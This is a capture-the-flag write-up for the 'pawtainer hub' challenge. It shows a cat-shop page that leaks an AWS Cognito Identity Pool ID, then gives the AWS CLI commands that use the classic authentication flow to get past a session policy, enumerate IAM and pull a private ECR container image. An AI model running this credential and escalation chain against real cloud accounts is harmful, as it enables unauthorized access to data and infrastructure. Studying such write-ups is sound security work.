pawtainer hub

Description

The new intern is testing out a few services, help to audit it to ensure there are no misconfiguration.

<!DOCTYPE html>
<html lang="en">

<head>
    <title>Catastic Emporium</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-4bw+/aepP/YC94hEpVNVgiZdgIC5+VKNBQNGCHeKRQN+PtmoHDEXuppvnDJzQIu9" crossorigin="anonymous">
    <script defer src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-HwwvtgBNo3bZJJLYd8oVXjrBZt8cqVSpeBNS5n7C8IVInixGAoxmnlMuBnhbgrkm" crossorigin="anonymous">
    </script>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>

<body>
    <nav class="navbar navbar-expand-sm bg-secondary" data-bs-theme="dark">

        <a class="navbar-brand" href="#"><img id="signedImg" src="#" alt="Logo" title="Logo" height="120" width="120" /></a>

        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarTogglerDemo03"
            aria-controls="navbarTogglerDemo03" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>

        <div class="collapse navbar-collapse" id="navbarTogglerDemo03">
            <ul class="navbar-nav mr-auto mt-2 mt-lg-0">
                <li class="nav-item">
                    <a class="nav-link" href="#cats">Cats</a>
                </li>
            </ul>
        </div>
    </nav>
    <header class="jumbotron text-center">
        <h1 class="display-4">Meow Meow Wu</h1>
        <h2>Home of Cat Lovers</h2>
    </header>

    <main class="container">
        <section id="cats">
            <h2>All About Cats!</h2>
            <div class="row">
                <article class="col-sm">
                    <h3>Tabby</h3>
                    <figure>
                        <img class="img-thumbnail" src="images/british.jpg" alt="British Shorthair" />
                        <figcaption>British Shorthair</figcaption>
                    </figure>
                    <p>British Shorthairs make great family pets due to their loyal and devoted nature. They love to
                        snuggle and spend time with their humans, and though they can be a bit shy with new people, they
                        are quick to show their affection once they get to know you!
                    </p>
                </article>
                <article class="col-sm">
                    <h3>Ragdoll</h3>
                    <figure>
                        <img class="img-thumbnail" src="images/ragdoll.jpg" alt="Ragdoll" />
                        <figcaption>Ragdoll</figcaption>
                    </figure>
                    <p>Ragdolls are blue-eyed beauties known for their affectionate nature and tendency to go “limp like
                        a ragdoll” when carried. They make wonderful family pets and get along well with other cats and
                        dogs.
                    </p>
                </article>

                <article class="col-sm">
                    <h3>Sphynx</h3>
                    <figure>
                        <img class="img-thumbnail" src="images/sphynx.jpg" alt="sphynx" />
                        <figcaption>Sphynx</figcaption>
                    </figure>
                    <p>Hairless but fearless, the Sphynx cat turns heads everywhere it goes! This cat demands its
                        well-deserved attention, loves entertaining its family, and treasures meeting new humans. The
                        Sphynx have an undeniable power to enchant anyone with their humor, loving nature, and exotic
                        appearance.
                    </p>
                </article>
            </div>
        </section>
    </main>
    <footer class="container">
        <p>Copyright &copy; 2023 Pawtainer Hub Pte. Ltd.</p>
    </footer>

    <script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
    <script>
        AWS.config.region = 'ap-southeast-1';
        AWS.config.credentials = new AWS.CognitoIdentityCredentials({
            IdentityPoolId: "ap-southeast-1:a96dc13a-9dc3-48ed-867a-ff80e94be21f"
        });
        // Set the region
        AWS.config.update({
            region: 'ap-southeast-1'
        });

        $(document).ready(function () {
            var s3 = new AWS.S3();
            params = {
                Bucket: 'pawtainer-hub-patched',
                Key: 'logo.jpg',
                Expires: 60 * 60
            }

            signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
                $('#signedImg').attr('src', url);
            });
        });
    </script>
</body>

</html>

Solve

Enhanced Flow

Looking at the page source, we instantly noticed the script utilize hard coded AWS Cognito Identity Pool as well as s3 bucket name.

The jaavscript uses the AWS SDK to interact with the S3 Bucket. It uses AWS Cognito to retrieve an assumed unauthenticated role. We are able to either use the Javascript console or the aws cli to retrieve the credentials.

aws cognito-identity get-id --identity-pool-id ap-southeast-1:a96dc13a-9dc3-48ed-867a-ff80e94be21f
aws cognito-identity get-credentials-for-identity --identity-id ap-southeast-1:96a99d70-cce1-c9d2-e7ca-ea7656fc2830

With the credentials, we are able to set up an aws profile (I call it enhanced)with aws cli to enumerate our permission.

Running aws sts get-caller-identityas a sanity check, we noticed that the assumed role is called cognito_unauthenticated. However, attempts in further enumeration of our permission were met with AccessDenied by session policy.

Using AWS Cognito Enhanced flow, there are built-in security controls that restrict certain administrative operations.

  • When credentials are obtained through a Cognito Identity Pool, AWS applies an implicit session policy.

  • This session policy overrides or restricts certain permissions, even if they're explicitly allowed in the role policy

Looking at the AWS documentation

We can see that there is an inline session policy for guest users using enhanced-flow.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "cloudwatch:*",
                "logs:*",
                "dynamodb:*",
                "kinesis:*",
                "mobileanalytics:*",
                "s3:*",
                "ses:*",
                "sns:*",
                "sqs:*",
                "lambda:*",
                "machinelearning:*",
                "execute-api:*",
                "iot:*",
                "gamelift:*",
                "scs:*",
                "cognito-identity:*",
                "cognito-idp:*",
                "lex:*",
                "polly:*",
                "comprehend:*",
                "translate:*",
                "transcribe:*",
                "rekognition:*",
                "mobiletargeting:*",
                "firehose:*",
                "appsync:*",
                "personalize:*",
                "sagemaker:InvokeEndpoint",
                "cognito-sync:*",
                "sumerian:View*",
                "codewhisperer:*",
                "textract:DetectDocumentText",
                "textract:AnalyzeDocument",
                "sdb:*"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}

Looking at the Session Policy, it explains that why S3 works, but not IAM. To attempt to bypass it, we can use the basic/classic authentication flow.

Referring to another documentation by aws.

We will need to use the three order of operation, GetId, GetOpenIdToken and lastly AssumeRoleWithWebIdentity to get the role.

There is a GitHub issues on aws sdk that probably explain this better than me so ill suggest you to read it instead.

Classic Flow

aws cognito-identity get-open-id-token --identity-id ap-southeast-1:96a99d70-cce1-c9d2-e7ca-ea7656fc2830

The role arn can be manually created as we have the account id as well as the role-name

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::647090761932:role/cognito_unauthenticated --role-session-name asd --web-identity-token <jwt token>

We the access key, secrey key and session token, we are able to configure another profile for the classic flow credential.

Running get-caller-identityagain as a sanity check, we have assumed the role succesfully, with the sesion name test

Now, we can attempt to enumerate IAM again to see if we managed to bypass the session policy.

aws iam get-role --role-name cognito_unauthenticated --profile classic
aws iam list-role-policies --role-name cognito_unauthenticated --profile classic
aws iam get-role-policy --role-name cognito_unauthenticated --policy-name unauthenticated_policy --profile classic

Performing manual enumeration, we managed to retrieve the IAM policy for the role cognito_unauthenticated

Looking at the IAM Policy, we can see that the user has the iam:Get* and iam:List* permission, thus allowing us to enumerate the IAM.

Interestingly, the user also has ECR permission.

AWS ECR is the Elastic Container Registry, which is somewhat similar to a docker registry, but hosted on AWS. The "Resource": "*" in the ECR section grants access to all resources. This is a security risk as it provides the unauthenticated role access to all ECR repositories within the AWS account

aws ecr describe-repositories --profile classic

Running describe profile to tists all Amazon Elastic Container Registry (ECR) repositories in the AWS account associated with the classic profile.

Next, runing describe image to lists details about the container images stored in the specified ECR repository.

aws ecr describe-images --repository-name pawtainerhub_ecr_patched --profile classic

There is a image with the image tag 7xxxx. I authenticates Docker with the specified ECR registry, allowing me to pull images

aws ecr get-login-password --region ap-southeast-1 --profile classic | docker login --username AWS --password-stdin 647090761932.dkr.ecr.ap-southeast-1.amazonaws.com
docker pull 647090761932.dkr.ecr.ap-southeast-1.amazonaws.com/pawtainerhub_ecr_patched:74d031b9fe7c

Lastly, Ill downloads a container image from the specified ECR repository to your local Docker environment.

Running the docker container, we retrieved the flag.

Last updated